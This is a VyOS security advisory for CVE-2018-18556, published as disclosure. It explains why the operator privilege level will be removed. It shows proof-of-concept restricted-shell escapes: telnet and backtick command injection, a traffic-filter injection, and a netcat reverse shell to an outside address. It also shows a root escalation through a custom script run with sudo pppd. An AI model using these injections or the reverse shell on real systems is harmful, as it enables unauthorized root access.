Headline
CVE-2018-18556: The "operator" level is proved insecure and will be removed in the next releases
A privilege escalation issue was discovered in VyOS 1.1.8. The default configuration also allows operator users to execute the pppd binary with elevated (sudo) permissions. Certain input parameters are not properly validated. A malicious operator user can run the binary with elevated permissions and leverage its improper input validation condition to spawn an attacker-controlled shell with root privileges.
The operator level in VyOS is a legacy feature that was inherited from the forked Vyatta Core code. It was always relatively obscure, and I don’t think anyone really trusted its security, and for good reasons: with our current CLI architecture, real privilege separation is impossible.
Security researcher Rich Mirch found multiple ways to escape the restricted shell and execute commands with root permissions for the operator level users. Most of those would take a lot of effort to fix, and it’s not clear if some of those can be fixed at all. Since any new implementation of a privilege separation system will be incompatible with the old one, and leaving operator level in the system is best described as "security theater", in the next releases that feature will be removed and operator level users will be converted to admin level users.
We will use the “id” UNIX command for demonstration since it’s harmless but is not supposed to be available for operator level users. Here are proofs of concept for all vulnerabilities reported by Rich:
Restricted shell escape using the telnet command
Proof of concept:
user1@vyos> telnet “127.0.0.1;bash”
telnet: can’t connect to remote host (127.0.0.1): Connection refused
we are now in real, unrestricted bash
user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),…
This problem could potentially be fixed, but since there’s no way to introduce global input sanitation, every command would have to be checked and protected individually.
Restricted shell escape using the “monitor command” command
The “monitor command” command allows operator level users to execute any command. Using it in combination with netcat it’s possible to launch an unrestricted bash shell:
user1@vyos> monitor command "$(netcat -e /bin/bash 192.168.x.x 9003)"
Connection from 192.168.x.x:59952
id
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)
hostname
vyos
Restricted shell escape using the traffic dump filters
user1@vyos> monitor interfaces ethernet eth0 traffic detail unlimited filter "-w /dev/null 2>/dev/null & bash"
Capturing traffic on eth0 …
id
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)
Restricted shell escape using backtick evaluation as a set command argument
user1@vyos> set “`/bin/bash`”
user1@vyos> id >/dev/tty
uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)
This one is special because there may not be a way to fix it at all.
Local privilege escalarion using pppd connection scripts
Operator level users are allowed to call pppd for the connect/disconnect commands. Since pppd is executed with root permissions, a malicious operator can execute arbitrary commands as root using a custom PPP connection script.
user1@vyos> echo “id >/dev/tty” > id.sh
user1@vyos> chmod 755 id.sh
Execute the id command as root using the sudo /sbin/pppd command.
user1@vyos> sudo /sbin/pppd connect $PWD/id.sh
uid=0(root) gid=0(root) groups=0(root)
The post categories: security Uncategorized